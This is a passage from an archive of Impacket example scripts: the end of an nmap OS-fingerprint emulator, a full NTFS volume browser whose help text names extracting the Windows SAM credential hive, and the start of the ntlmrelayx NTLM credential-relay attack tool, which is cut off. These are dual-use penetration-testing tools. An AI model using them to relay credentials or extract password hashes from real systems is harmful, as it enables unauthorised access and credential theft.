Initial sequence numbers self.tcp_ISN = 0 try: self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16) except: self.tcp_ISN_GCD = 1 try: isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-') if len(isr) == 1: isr = int(isr[0], 16) else: isr = (int(isr[0], 16) + int(isr[1], 16)) / 2 except: isr = 0 try: sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-') sp = int(sp[0], 16) except: sp = 0 self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm... if self.tcp_ISN_GCD > 9: self.tcp_ISN_stdDev *= self.tcp_ISN_GCD self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getTCPSequence() print("TCP ISN Delta: %f" % self.tcp_ISN_delta) print("TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev) def initTCPTSGenerator(self): # tcp_TS and tcp_TS_delta for TCP Time stamp generation self.tcp_TS = 0 try: ts = self.fingerprint.get_tests()['SEQ']['TS'] except: ts = 'U' if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0 else: self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getTCPTimeStamp() print("TCP TS Delta: %f" % self.tcp_TS_delta) def getIPID(self): answer = self.ip_ID self.ip_ID += self.ip_ID_delta self.ip_ID %= 0x10000 # print("IP ID: %x" % answer) return answer def getIPID_ICMP(self): if self.ip_ID_ICMP is None: return self.getIPID() answer = self.ip_ID_ICMP self.ip_ID_ICMP += self.ip_ID_ICMP_delta self.ip_ID_ICMP %= 0x10000 # print("---> IP ID: %x" % answer) return answer def getTCPSequence(self): answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random() self.tcp_ISN_stdDev *= -1 answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD) self.tcp_ISN += self.tcp_ISN_delta self.tcp_ISN %= 0x100000000 # print("---> TCP Sequence: %d" % (answer % 0x100000000)) return answer % 0x100000000 def getTCPTimeStamp(self): answer = int(round(self.tcp_TS)) self.tcp_TS += self.tcp_TS_delta self.tcp_TS %= 0x100000000 # print("---> TCP Time Stamp: %x" % answer) return answer def sendPacket(self, onion): if not onion: return print("--> Packet sent:") #print(onion[0]) #print() self.pcap.sendpacket(onion[O_ETH].get_packet()) def addResponder(self, aResponder): self.responders.append(aResponder) def run(self): while 1: p = self.pcap.next() try: in_onion = [self.decoder.decode(p[1])] except: in_onion = [self.decoder.decode(p[0])] try: while 1: in_onion.append(in_onion[-1].child()) except: pass #print("-------------- Received: ", in_onion[0]) for r in self.responders: if r.process(in_onion): break def main(): def initResponders(machine): # cmd responder # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT)) # nmap2 specific responders machine.addResponder(nmap2_SEQ1(machine)) machine.addResponder(nmap2_SEQ2(machine)) machine.addResponder(nmap2_SEQ3(machine)) machine.addResponder(nmap2_SEQ4(machine)) machine.addResponder(nmap2_SEQ5(machine)) machine.addResponder(nmap2_SEQ6(machine)) machine.addResponder(nmap2_ECN(machine)) machine.addResponder(nmap2_T2(machine)) machine.addResponder(nmap2_T3(machine)) machine.addResponder(nmap2_T4(machine)) machine.addResponder(nmap2_T5(machine)) machine.addResponder(nmap2_T6(machine)) machine.addResponder(nmap2_T7(machine)) machine.addResponder(nmap2_ICMP_1(machine)) machine.addResponder(nmap2_ICMP_2(machine)) machine.addResponder(NMAP2UDPResponder(machine)) from sys import argv, exit def usage(): print(""" if arg == '-h': usage() if arg == '--help': usage() if arg == '-f': Fingerprint = value if arg == '-p': IP = value if arg == '-m': MAC = value if arg == '-i': IFACE = value if arg == '-d': nmapOsDB = value where: arg = argv[i] value = argv[i+1] """) exit() global Fingerprint, IFACE, MAC, IP, nmapOSDB for i, arg in enumerate(argv): try: value = argv[i+1] except: value = None if arg == '-h': usage() if arg == '--help': usage() if arg == '-f': Fingerprint = value if arg == '-p': IP = value if arg == '-m': MAC = value if arg == '-i': IFACE = value if arg == '-d': nmapOSDB = value print("Emulating: %r" % Fingerprint) print("at %s / %s / %s" % (IFACE, MAC, IP)) machine = Machine( Fingerprint, IFACE, IP, MAC, OPEN_TCP_PORTS, OPEN_UDP_PORTS, nmapOSDB=nmapOSDB) initResponders(machine) machine.initGenericResponders() machine.run() if __name__ == '__main__': # Init the example's logger theme print(version.WARNING_BANNER) logger.init() main() # All Probes # [x] SEQ # [x] OPS # [x] WIN # [x] T1 # [x] T2 # [x] T3 # [x] T4 # [x] T5 # [x] T6 # [x] T7 # [x] IE # [x] ECN # [x] U1 # All Tests # SEQ() # [x] TCP ISN sequence predictability index (SP) # [x] TCP ISN greatest common divisor (GCD) # [x] TCP ISN counter rate (ISR) # [x] IP ID sequence generation algorithm on TCP Open ports (TI) # [x] Z - All zeros # [x] RD - Random: It increments at least once by at least 20000. # [-] Hex Value - fixed IP ID # [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0) # [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120. # [x] I - Incremental. All delta_i < 10 # [x] O - (Omitted, the test does not show in the fingerprint). None of the other # [-] IP ID sequence generation algorithm on TCP closed ports (CI) # [x] IP ID sequence generation algorithm on ICMP messages (II) # [x] Shared IP ID sequence Boolean (SS) # [x] TCP timestamp option algorithm (TS) # [x] U - unsupported (don't send TS) # [x] 0 - Zero # [x] 1 - 0-5.66 (2 Hz) # [x] 7 - 70-150 (100 Hz) # [x] 8 - 150-350 (200 Hz) # [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2))) # time_diff = 0.11 segs # OPS() # [x] TCP options (O, O1-O6) # WIN() # [x] TCP initial window size (W, W1-W6) # ECN, T1-T7 # [x] TCP options (O, O1-O6) # [x] TCP initial window size (W, W1-W6) # [x] Responsiveness (R) # [x] IP don't fragment bit (DF) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] Explicit congestion notification (CC) # [x] TCP miscellaneous quirks (Q) # [x] TCP sequence number (S) # [x] TCP acknowledgment number (A) # [x] TCP flags (F) # [x] TCP RST data checksum (RD) # IE() # [x] Responsiveness (R) # [x] Don't fragment (ICMP) (DFI) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] ICMP response code (CD) #-[x] IP Type of Service (TOSI) #-[x] ICMP Sequence number (SI) #-[x] IP Data Length (DLI) # U1() # [x] Responsiveness (R) # [x] IP don't fragment bit (DF) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] IP total length (IPL) # [x] Unused port unreachable field nonzero (UN) # [x] Returned probe IP total length value (RIPL) # [x] Returned probe IP ID value (RID) # [x] Integrity of returned probe IP checksum value (RIPCK) # [x] Integrity of returned probe UDP checksum (RUCK) # [x] Integrity of returned UDP data (RUD) # [-] ??? (TOS) Type of Service # [-] ??? (RUL) Length of return UDP packet is correct # sudo nmap -O 127.0.0.2 -p 22,111,89 # sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)' impacket-impacket_0_11_0/examples/ntfs-read.py000077500000000000000000001171431446174712300215030ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Mini shell for browsing an NTFS volume # # Author: # Alberto Solino (@agsolino) # # Reference for: # Structure. Quick and dirty implementation.. just for fun.. ;) # # NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. # # ToDo: # [] Parse the attributes list attribute. It is unknown what would happen now if # we face a highly fragmented file that will have many attributes that won't fit # in the MFT Record. # [] Support compressed, encrypted and sparse files # from __future__ import division from __future__ import print_function import os import sys import logging import struct import argparse import cmd import ntpath # If you wanna have readline like functionality in Windows, install pyreadline try: import pyreadline as readline except ImportError: import readline from six import PY2, text_type from datetime import datetime from impacket.examples import logger from impacket import version from impacket.structure import Structure def pretty_print(x): visible = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ' return x if x in visible else '.' def hexdump(data): x = str(data) strLen = len(x) i = 0 while i < strLen: print("%04x " % i, end=' ') for j in range(16): if i+j < strLen: print("%02X" % ord(x[i+j]), end=' ') else: print(" ", end=' ') if j%16 == 7: print("", end=' ') print(" ", end=' ') print(''.join(pretty_print(x) for x in x[i:i+16] )) i += 16 # Reserved/fixed MFTs FIXED_MFTS = 16 # Attribute types UNUSED = 0 STANDARD_INFORMATION = 0x10 ATTRIBUTE_LIST = 0x20 FILE_NAME = 0x30 OBJECT_ID = 0x40 SECURITY_DESCRIPTOR = 0x50 VOLUME_NAME = 0x60 VOLUME_INFORMATION = 0x70 DATA = 0x80 INDEX_ROOT = 0x90 INDEX_ALLOCATION = 0xa0 BITMAP = 0xb0 REPARSE_POINT = 0xc0 EA_INFORMATION = 0xd0 EA = 0xe0 PROPERTY_SET = 0xf0 LOGGED_UTILITY_STREAM = 0x100 FIRST_USER_DEFINED_ATTRIBUTE = 0x1000 END = 0xffffffff # Attribute flags ATTR_IS_COMPRESSED = 0x0001 ATTR_COMPRESSION_MASK = 0x00ff ATTR_IS_ENCRYPTED = 0x4000 ATTR_IS_SPARSE = 0x8000 # FileName type flags FILE_NAME_POSIX = 0x00 FILE_NAME_WIN32 = 0x01 FILE_NAME_DOS = 0x02 FILE_NAME_WIN32_AND_DOS = 0x03 # MFT Record flags MFT_RECORD_IN_USE = 0x0001 MFT_RECORD_IS_DIRECTORY = 0x0002 MFT_RECORD_IS_4 = 0x0004 MFT_RECORD_IS_VIEW_INDEX = 0x0008 MFT_REC_SPACE_FILLER = 0xfffff # File Attribute Flags FILE_ATTR_READONLY = 0x0001 FILE_ATTR_HIDDEN = 0x0002 FILE_ATTR_SYSTEM = 0x0004 FILE_ATTR_DIRECTORY = 0x0010 FILE_ATTR_ARCHIVE = 0x0020 FILE_ATTR_DEVICE = 0x0040 FILE_ATTR_NORMAL = 0x0080 FILE_ATTR_TEMPORARY = 0x0100 FILE_ATTR_SPARSE_FILE = 0x0200 FILE_ATTR_REPARSE_POINT = 0x0400 FILE_ATTR_COMPRESSED = 0x0800 FILE_ATTR_OFFLINE = 0x1000 FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000 FILE_ATTR_ENCRYPTED = 0x4000 FILE_ATTR_VALID_FLAGS = 0x7fb7 FILE_ATTR_VALID_SET_FLAGS = 0x31a7 FILE_ATTR_I30_INDEX_PRESENT = 0x10000000 FILE_ATTR_VIEW_INDEX_PRESENT = 0x20000000 # NTFS System files FILE_MFT = 0 FILE_MFTMirr = 1 FILE_LogFile = 2 FILE_Volume = 3 FILE_AttrDef = 4 FILE_Root = 5 FILE_Bitmap = 6 FILE_Boot = 7 FILE_BadClus = 8 FILE_Secure = 9 FILE_UpCase = 10 FILE_Extend = 11 # Index Header Flags SMALL_INDEX = 0 LARGE_INDEX = 1 LEAF_NODE = 0 INDEX_NODE = 1 NODE_MASK = 0 # Index Entry Flags INDEX_ENTRY_NODE = 1 INDEX_ENTRY_END = 2 INDEX_ENTRY_SPACE_FILLER = 0xffff class NTFS_BPB(Structure): structure = ( ('BytesPerSector',' 0 and self.AttributeHeader['Type'] != END: self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le') def getFlags(self): return self.AttributeHeader['Flags'] def getName(self): return self.AttributeName def isNonResident(self): return self.AttributeHeader['NonResident'] def dump(self): return self.AttributeHeader.dump() def getTotalSize(self): return self.AttributeHeader['Length'] def getType(self): return self.AttributeHeader['Type'] class AttributeResident(Attribute): def __init__(self, iNode, data): logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber) Attribute.__init__(self,iNode,data) self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):]) self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']] def dump(self): return self.ResidentHeader.dump() def getFlags(self): return self.ResidentHeader['Flags'] def getValue(self): return self.AttrValue def read(self,offset,length): logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) return self.AttrValue[offset:][:length] def getDataSize(self): return len(self.AttrValue) class AttributeNonResident(Attribute): def __init__(self, iNode, data): logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber) Attribute.__init__(self,iNode,data) self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):]) self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']] self.DataRuns = [] self.ClusterSize = 0 self.parseDataRuns() def dump(self): return self.NonResidentHeader.dump() def getDataSize(self): return self.NonResidentHeader['InitializedSize'] def getValue(self): return None def parseDataRuns(self): value = self.AttrValue if value is not None: VCN = 0 LCN = 0 LCNOffset = 0 while value[0:1] != b'\x00': LCN += LCNOffset dr = NTFS_DATA_RUN() size = struct.unpack('B',(value[0:1]))[0] value = value[1:] lengthBytes = size & 0x0F offsetBytes = size >> 4 length = value[:lengthBytes] length = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']): vcnsToRead = dr['LastVCN'] - vcn + 1 # Are we requesting to read more data outside this DataRun? if numOfClusters > vcnsToRead: # Yes clustersToRead = vcnsToRead else: clustersToRead = numOfClusters tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) if tmpBuf is not None: buf += tmpBuf clustersLeft -= clustersToRead vcn += clustersToRead else: break if clustersLeft == 0: break return buf def read(self,offset,length): logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) buf = b'' curLength = length self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] # Given the offset, let's calculate what VCN should be the first one to read vcnToStart = offset // self.ClusterSize #vcnOffset = self.ClusterSize - (offset % self.ClusterSize) # Do we have to read partial VCNs? if offset % self.ClusterSize: # Read the whole VCN bufTemp = self.readVCN(vcnToStart, 1) if bufTemp == b'': # Something went wrong return None buf = bufTemp[offset % self.ClusterSize:] curLength -= len(buf) vcnToStart += 1 # Finished? if curLength <= 0: return buf[:length] # First partial cluster read.. now let's keep reading full clusters # Data left to be read is bigger than a Cluster? if curLength // self.ClusterSize: # Yep.. so let's read full clusters bufTemp = self.readVCN(vcnToStart, curLength // self.ClusterSize) if bufTemp == b'': # Something went wrong return None if len(bufTemp) > curLength: # Too much data read, taking something off buf = buf + bufTemp[:curLength] else: buf = buf + bufTemp vcnToStart += curLength // self.ClusterSize curLength -= len(bufTemp) # Is there anything else left to be read in the last cluster? if curLength > 0: bufTemp = self.readVCN(vcnToStart, 1) buf = buf + bufTemp[:curLength] if buf == b'': return None else: return buf class AttributeStandardInfo: def __init__(self, attribute): logging.debug("Inside AttributeStandardInfo") self.Attribute = attribute self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue) def getFileAttributes(self): return self.StandardInfo['FileAttributes'] def getFileTime(self): if self.StandardInfo['LastDataChangeTime'] > 0: return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime'])) else: return 0 def dump(self): return self.StandardInfo.dump() class AttributeFileName: def __init__(self, attribute): logging.debug("Inside AttributeFileName") self.Attribute = attribute self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue) def getFileNameType(self): return self.FileNameRecord['FileNameType'] def getFileAttributes(self): return self.FileNameRecord['FileAttributes'] def getFileName(self): return self.FileNameRecord['FileName'].decode('utf-16le') def getFileSize(self): return self.FileNameRecord['DataSize'] def getFlags(self): return self.FileNameRecord['FileAttributes'] def dump(self): return self.FileNameRecord.dump() class AttributeIndexAllocation: def __init__(self, attribute): logging.debug("Inside AttributeIndexAllocation") self.Attribute = attribute def dump(self): print(self.Attribute.dump()) for i in self.Attribute.DataRuns: print(i.dump()) def read(self, offset, length): return self.Attribute.read(offset, length) class AttributeIndexRoot: def __init__(self, attribute): logging.debug("Inside AttributeIndexRoot") self.Attribute = attribute self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue) self.IndexEntries = [] self.parseIndexEntries() def parseIndexEntries(self): data = self.Attribute.AttrValue[len(self.IndexRootRecord):] while True: ie = IndexEntry(data) self.IndexEntries.append(ie) if ie.isLastNode(): break data = data[ie.getSize():] def dump(self): self.IndexRootRecord.dump() for i in self.IndexEntries: i.dump() def getType(self): return self.IndexRootRecord['Type'] class IndexEntry: def __init__(self, entry): self.entry = NTFS_INDEX_ENTRY(entry) def isSubNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE def isLastNode(self): return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END def getVCN(self): return struct.unpack(' 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: #inode = INODE(self.NTFSVolume) #inode.FileAttributes = fn['FileAttributes'] #inode.FileSize = fn['DataSize'] #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime'])) #inode.INodeNumber = entry.getINodeNumber() #inode.FileName = fn['FileName'].decode('utf-16le') #inode.displayName() files.append(fn) # if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16: # inode2 = self.NTFSVolume.getINode(entry.getINodeNumber()) # inode2.walk() return files def walk(self): logging.debug("Inside Walk... ") files = [] if INDEX_ROOT in self.Attributes: ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME: for ie in ir.IndexEntries: if ie.isSubNode(): files += self.walkSubNodes(ie.getVCN()) return files else: return None def findFirstSubNode(self, vcn, toSearch): def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return fn['FileName'].decode('utf-16le').upper() return None entries = self.parseIndexBlocks(vcn) for ie in entries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def findFirst(self, fileName): # Searches for a file and returns an Index Entry. None if not found def getFileName(entry): if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: fn = NTFS_FILE_NAME_ATTR(entry.getKey()) if fn['FileNameType'] != FILE_NAME_DOS: return fn['FileName'].decode('utf-16le').upper() return None toSearch = text_type(fileName.upper()) if INDEX_ROOT in self.Attributes: ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME or 1==1: for ie in ir.IndexEntries: name = getFileName(ie) if name is not None: if name == toSearch: # Found! return ie if toSearch < name: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res else: # Bye bye.. not found return None else: if ie.isSubNode(): res = self.findFirstSubNode(ie.getVCN(), toSearch) if res is not None: return res def getStream(self, name): return self.searchAttribute( DATA, name, findNext = False) class NTFS: def __init__(self, volumeName): self.__volumeName = volumeName self.__bootSector = None self.__MFTStart = None self.volumeFD = None self.BPB = None self.ExtendedBPB = None self.RecordSize = None self.IndexBlockSize = None self.SectorSize = None self.MFTINode = None self.mountVolume() def mountVolume(self): logging.debug("Mounting volume...") self.volumeFD = open(self.__volumeName,"rb") self.readBootSector() self.MFTINode = self.getINode(FILE_MFT) # Check whether MFT is fragmented attr = self.MFTINode.searchAttribute(DATA, None) if attr is None: # It's not del self.MFTINode self.MFTINode = None def readBootSector(self): logging.debug("Reading Boot Sector for %s" % self.__volumeName) self.volumeFD.seek(0,0) data = self.volumeFD.read(512) while len(data) < 512: data += self.volumeFD.read(512) self.__bootSector = NTFS_BOOT_SECTOR(data) self.BPB = NTFS_BPB(self.__bootSector['BPB']) self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB']) self.SectorSize = self.BPB['BytesPerSector'] self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber'] if self.ExtendedBPB['ClusterPerFileRecord'] > 0: self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord'] else: self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord']) if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0: self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer'] else: self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer']) logging.debug("MFT should start at position %d" % self.__MFTStart) def getINode(self, iNodeNum): logging.debug("Trying to fetch inode %d" % iNodeNum) newINode = INODE(self) recordLen = self.RecordSize # Let's calculate where in disk this iNode should be if self.MFTINode and iNodeNum > FIXED_MFTS: # Fragmented $MFT attr = self.MFTINode.searchAttribute(DATA,None) record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) else: diskPosition = self.__MFTStart + iNodeNum * self.RecordSize self.volumeFD.seek(diskPosition,0) record = self.volumeFD.read(recordLen) while len(record) < recordLen: record += self.volumeFD.read(recordLen-len(record)) mftRecord = NTFS_MFT_RECORD(record) record = newINode.PerformFixUp(mftRecord, record, self.RecordSize//self.SectorSize) newINode.INodeNumber = iNodeNum newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] newINode.parseAttributes() return newINode class MiniShell(cmd.Cmd): def __init__(self, volume): cmd.Cmd.__init__(self) self.volumePath = volume self.volume = NTFS(volume) self.rootINode = self.volume.getINode(5) self.prompt = '\\>' self.intro = 'Type help for list of commands' self.currentINode = self.rootINode self.completion = [] self.pwd = '\\' self.do_ls('',False) self.last_output = '' def emptyline(self): pass def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: logging.debug('Exception:', exc_info=True) logging.error(str(e)) return retVal def do_exit(self,line): return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" cd {path} - changes the current directory to {path} pwd - shows current remote directory ls - lists all the files in the current directory lcd - change local directory get {filename} - downloads the filename from the current path cat {filename} - prints the contents of filename hexdump {filename} - hexdumps the contents of filename exit - terminates the server process (and this session) """) def do_lcd(self,line): if line == '': print(os.getcwd()) else: os.chdir(line) print(os.getcwd()) def do_cd(self, line): p = line.replace('/','\\') oldpwd = self.pwd newPath = ntpath.normpath(ntpath.join(self.pwd,p)) if newPath == self.pwd: # Nothing changed return common = ntpath.commonprefix([newPath,oldpwd]) if common == oldpwd: res = self.findPathName(ntpath.normpath(p)) else: res = self.findPathName(newPath) if res is None: logging.error("Directory not found") self.pwd = oldpwd return if res.isDirectory() == 0: logging.error("Not a directory!") self.pwd = oldpwd return else: self.currentINode = res self.do_ls('', False) self.pwd = ntpath.join(self.pwd,p) self.pwd = ntpath.normpath(self.pwd) self.prompt = self.pwd + '>' def findPathName(self, pathName): if pathName == '\\': return self.rootINode tmpINode = self.currentINode parts = pathName.split('\\') for part in parts: if part == '': tmpINode = self.rootINode else: res = tmpINode.findFirst(part) if res is None: return res else: tmpINode = self.volume.getINode(res.getINodeNumber()) return tmpINode def do_pwd(self,line): print(self.pwd) def do_ls(self, line, display = True): entries = self.currentINode.walk() self.completion = [] for entry in entries: inode = INODE(self.volume) inode.FileAttributes = entry['FileAttributes'] inode.FileSize = entry['DataSize'] inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime'])) inode.FileName = entry['FileName'].decode('utf-16le') if display is True: inode.displayName() self.completion.append((inode.FileName,inode.isDirectory())) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def complete_cat(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_hexdump(self,text,line,begidx,endidx): return self.complete_get(text, line, begidx, endidx) def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories items = [] if include == 1: mask = 0 else: mask = FILE_ATTR_I30_INDEX_PRESENT for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_hexdump(self,line): return self.do_cat(line,command = hexdump) def do_cat(self, line, command = sys.stdout.write): pathName = line.replace('/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) res = self.findPathName(pathName) if res is None: logging.error("Not found!") return if res.isDirectory() > 0: logging.error("It's a directory!") return if res.isCompressed() or res.isEncrypted() or res.isSparse(): logging.error('Cannot handle compressed/encrypted/sparse files! :(') return stream = res.getStream(None) chunks = 4096*10 written = 0 for i in range(stream.getDataSize()//chunks): buf = stream.read(i*chunks, chunks) written += len(buf) command(buf) if stream.getDataSize() % chunks: buf = stream.read(written, stream.getDataSize() % chunks) command(buf.decode('latin-1')) logging.info("%d bytes read" % stream.getDataSize()) def do_get(self, line): pathName = line.replace('/','\\') pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) fh = open(ntpath.basename(pathName),"wb") self.do_cat(line, command = fh.write) fh.close() def main(): print(version.BANNER) # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)") parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)') parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \\windows\\system32\\config\\sam)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) shell = MiniShell(options.volume) if options.extract is not None: shell.onecmd("get %s"% options.extract) else: shell.cmdloop() if __name__ == '__main__': main() sys.exit(1) impacket-impacket_0_11_0/examples/ntlmrelayx.py000077500000000000000000000636651446174712300220300ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Generic NTLM Relay Module # # This module performs the SMB Relay attacks originally discovered # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). # It receives a list of targets and for every connection received it # will choose the next target and try to relay the credentials. Also, if # specified, it will first to try authenticate against the client connecting # to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few # functions and then using the specific protocol clients (e.g. SMB, LDAP). # It is supposed to be working on any LM Compatibility level. The only way # to stop this attack is to enforce on the server SPN checks and or signing. # # If the authentication against the targets succeeds, the client authentication # succeeds as well and a valid connection is set against the local smbserver. # It's up to the user to set up the local smbserver functionality. One option # is to set up shares with whatever files you want to so the victim thinks it's # connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # # Authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # import argparse import sys import logging import cmd try: from urllib.request import ProxyHandler, build_opener, Request except ImportError: from urllib2 import ProxyHandler, build_opener, Request import json from time import sleep from threading import Thread from impacket import version from impacket.examples import logger from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS RELAY_SERVERS = [] class MiniShell(cmd.Cmd): def __init__(self, relayConfig, threads): cmd.Cmd.__init__(self) self.prompt = 'ntlmrelayx> ' self.tid = None self.relayConfig = relayConfig self.intro = 'Type help for list of commands' self.relayThreads = threads self.serversRunning = True @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print(outputFormat.format(*header)) print(' '.join(['-' * itemLen for itemLen in colLen])) # And now the rows for row in items: print(outputFormat.format(*row)) def emptyline(self): pass def do_targets(self, line): for url in self.relayConfig.target.originalTargets: print(url.geturl()) return def do_finished_attacks(self, line): for url in self.relayConfig.target.finishedAttacks: print (url.geturl()) return def do_socks(self, line): '''Filter are available : type : socks filters : target, username, admin values : - target : IP or FQDN - username : domain/username - admin : true or false ''' headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" try: proxy_handler = ProxyHandler({}) opener = build_opener(proxy_handler) response = Request(url) r = opener.open(response) result = r.read() items = json.loads(result) except Exception as e: logging.error("ERROR: %s" % str(e)) else: if len(items) > 0: if("=" in line and len(line.replace('socks','').split('='))==2): _filter=line.replace('socks','').split('=')[0] _value=line.replace('socks','').split('=')[1] if(_filter=='target'): _filter=1 elif(_filter=='username'): _filter=2 elif(_filter=='admin'): _filter=3 else: logging.info('Expect : target / username / admin = value') _items=[] for i in items: if(_value.lower() in i[_filter].lower()): _items.append(i) if(len(_items)>0): self.printTable(_items,header=headers) else: 